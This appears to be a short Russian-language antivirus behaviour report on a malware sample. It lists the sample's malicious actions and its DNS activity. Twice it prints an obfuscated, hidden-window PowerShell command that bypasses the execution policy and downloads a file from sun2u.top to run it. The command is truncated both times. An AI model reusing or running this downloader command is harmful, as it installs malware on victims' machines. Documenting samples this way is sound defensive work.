Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://sun2u.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^W^ER^s^h^E^lL.e^xe^ ^-EX^e^cuTi^onPOl^IC^y^ ^B^Y^p^A^ss -nO^pRO^File -wiN^dow^sTyLe ^hiD^de^N (NEw^-^OB^J^e^cT sYS^T^Em^.n^eT.W^ebcL^Ie^Nt).^DOwNLoadfIl^E('http://sun2u...
Сетевая активность
UDP
- DNS ASK su##u.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^W^ER^s^h^E^lL.e^xe^ ^-EX^e^cuTi^onPOl^IC^y^ ^B^Y^p^A^ss -nO^pRO^File -wiN^dow^sTyLe ^hiD^de^N (NEw^-^OB^J^e^cT sYS^T^Em^.n^eT.W^ebcL^Ie^Nt).^DOwNLoadfIl^E('http://sun2u...' (со скрытым окном)
